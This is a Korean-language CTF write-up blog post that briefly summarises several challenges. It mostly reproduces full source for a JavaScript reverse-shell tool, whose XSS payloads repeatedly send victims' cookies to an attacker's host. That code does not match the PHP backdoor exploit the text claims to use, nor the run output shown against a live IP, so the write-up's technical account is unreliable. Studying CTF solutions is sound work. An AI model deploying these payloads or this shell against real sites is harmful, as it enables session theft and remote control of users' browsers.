다양한 분야의 문제가 나와서 재밌었습니다.
포너블, 리버싱 문제가 쉽게 출제된 부분은 아쉬웠습니다.
웹에서 백도어를 활용한 문제는 처음 경험해서 신기했습니다.
PWN
Ghost, anyaForger, callme
보호기법이 걸려있지 않고, BOF 취약점을 이용하는 간단한 문제
REV
Lucky Number, Not That Easy
GDB를 활용한 동적 디버깅을 통해 해결 가능
WEB
Can you see me?
(Junan 선생님의 힌트: "PHP 백도어 문제입니다")
삽질을 하던 중 다음과 같은 영상을 찾았습니다.
https://www.youtube.com/watch?v=j-wmhJ8u5Ws
PHP 버전에 따라 활용되는 백도어가 있고
해당 익스코드를 활용해 웹 쉘을 열 수 있는 듯 합니다.
(공부가 좀 더 필요한 부분..)
아래 글을 참고해 RCE 취약점을 트리거 합니다.
https://vk9-sec.com/php-8-1-0-dev-backdoor-remote-code-execution-rce/
#!/usr/bin/env python3
import socket
import sys
from requests import get
import argparse
red = '\033[1;31m'
white = '\033[1;m'
blue = '\033[1;34m'
if sys.platform == 'win32':
white = red = blue = ''
if sys.version_info < (3, 0):
input = raw_input
banner = '''%s __
|(_ _ |_ _ | |
\_|__)_> | |(/_ | |
v3.1
''' % red
hp = '''JSshell uses javascript code as shell commands. Also supports some commands:
help This help
domain The source domain
pwd The source path
cookie The user cookie
snippet Write a snippet of code
exit, quit Exit the JS shell'''
parser = argparse.ArgumentParser(description='JSshell 3.1: javascript reverse shell')
parser.add_argument('-g', help='generate JS reverse shell payloads', dest='gene', action='store_true')
parser.add_argument('-p', help='port number (default: 4848)', dest='port', default=4848)
parser.add_argument('-s', help='source address (or hostname)', dest='host', default='')
parser.add_argument('-t', help='target to be used in payloads, default: [host]:[port] from -s and -p', dest='target', default=str())
parser.add_argument('-c', help='command to execute after get the shell', dest='command', default=str())
parser.add_argument('-w', help='timeout for shell connection', dest='secs', type=float, default=0)
parser.add_argument('-q', help='quiet mode', dest='quiet', action='store_true')
args = parser.parse_args()
host = args.host
target = args.target
gene = args.gene
cmd = args.command
secs = args.secs
try:
port = int(format(args.port))
if not 0 <= port <= 65535:
print('Invalid port: %s' % port)
quit
except:
print('Invalid port: %s' % port)
quit
if target:
source = target
else:
if not host:
host = get('https://api.ipify.org').text
source = "//{0}:{1}".format(host, port)
if args.quiet:
uprint = str
else:
uprint = print
payload = '''
- SVG: <svg/onload=setInterval(function(){{with(document)body.appendChild(createElement("script")).src="{0}?".concat(document.cookie)}},1010)>
- SCRIPT: <script>setInterval(function(){{with(document)body.appendChild(createElement("script")).src="{0}/?".concat(document.cookie)}},1010)</script>
- IMG: <img src=x onerror=setInterval(function(){{with(document)body.appendChild(createElement("script")).src="{0}/?".concat(document.cookie)}},1010)>
- BODY: <body onload=setInterval(function(){{with(document)body.appendChild(createElement("script")).src="{0}/?".concat(document.cookie)}},1010)></body>
'''.format(source)
form = b'''HTTP/1.1 200 OK
Content-Type: application/javascript
Connection: close
'''
def shell():
while 1:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
if secs != 0:
s.settimeout(secs)
buffer = input('%s>>>%s ' % (blue, white))
if buffer == 'exit' or buffer == 'quit':
break
try:
if buffer[-1] in ['{', '(', '[']:
openchar = buffer[-1]
while 1:
func = input(' ' * 10)
buffer += '\n' + func
try:
if func[-1] == openchar:
break
except:
pass
except:
pass
s.bind(('0.0.0.0', port))
s.listen(0)
try:
c, a = s.accept()
data = c.recv(2048)
if buffer == 'help':
print(hp)
elif buffer == 'snippet':
print('Use CTRL+D to finish the snippet')
print()
buffer = sys.stdin.read()
elif buffer == 'domain':
try:
print(domain)
except:
print('Could not get the source domain because the referer has been disabled')
elif buffer == 'pwd':
try:
print(pth)
except:
print('Could not get the source path because the referer has been disabled')
elif buffer == 'cookie':
try:
print(cookie)
except:
print('Could not get the cookie because there is no cookie or because of other reasons')
c.send(form + buffer.encode())
c.shutdown(socket.SHUT_RDWR)
c.close()
s.close()
except KeyboardInterrupt:
if sys.platform == 'win32':
print('\nControl-C')
s.close()
break
except Exception as msg:
s.close()
break
def main():
global cookie
global domain
global pth
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
try:
s.bind(('0.0.0.0', port))
except socket.error as msg:
print("Can't grab 0.0.0.0:%s with bind: %s" % (port, msg))
quit()
uprint(banner)
if gene:
uprint('%sPayloads: %s' % (white, payload))
print('%sListening on [any] %s for incoming JS shell ...' % (white, port))
s.listen(2)
try:
c, addr = s.accept()
resp = c.recv(1024).decode()
except KeyboardInterrupt:
if sys.platform == 'win32':
print('\nControl-C')
exit()
except:
s.close()
main()
if 'Accept' in resp and 'HTTP' in resp:
print('Got JS shell from [%s] port %s to %s %s' % (addr[0], addr[1], socket.gethostname(), port))
if '?' in resp.split('\n')[0]:
cookie = resp.split('\n')[0].split(' ')[1].split('?')[1]
for line in resp.split('\n'):
if 'referer' in line.lower():
referer = line[9:]
domain = referer.split('//')[1]
pth = '/'.join(referer.split('/')[3:])
if pth in ['', '\r']:
pth = '/'
if len(cmd):
c.send(form + cmd.encode())
print('%s>>>%s %s' % (blue, white, cmd))
c.shutdown(socket.SHUT_RDWR)
c.close()
s.close()
shell()
else:
s.close()
main()
main()
% python ex.py
Enter the full host url:
http://139.144.184.115:8989/
Interactive shell is opened on http://139.144.184.115:8989/
Can't acces tty; job crontol turned off.
$ cat /root/flag.txt
BDSEC{php_15_7h3_b357_pr06r4mm1n6_l4n6u463}
OSINT
What's Her Name ?, E4sy Pe4sy OSINT, Operation Cyber Pursuit 0x00
인스타와 구글링을 통해 플래그를 얻을 수 있었음
NETWORT
IP Addr, HostName, Follow the Path,
와이어샤크를 이용하여 패킷의 정보를 확인해 문제의 답을 작성함
'CTF' 카테고리의 다른 글
vsCTF 2023 (0) | 2023.09.25 |
---|---|
CSAW CTF Qualification Round 2023 (0) | 2023.09.18 |
SECCON CTF 2023 Quals (0) | 2023.09.17 |
AmateursCTF 2023 (0) | 2023.07.20 |
ångstrom CTF 2023 (0) | 2023.05.02 |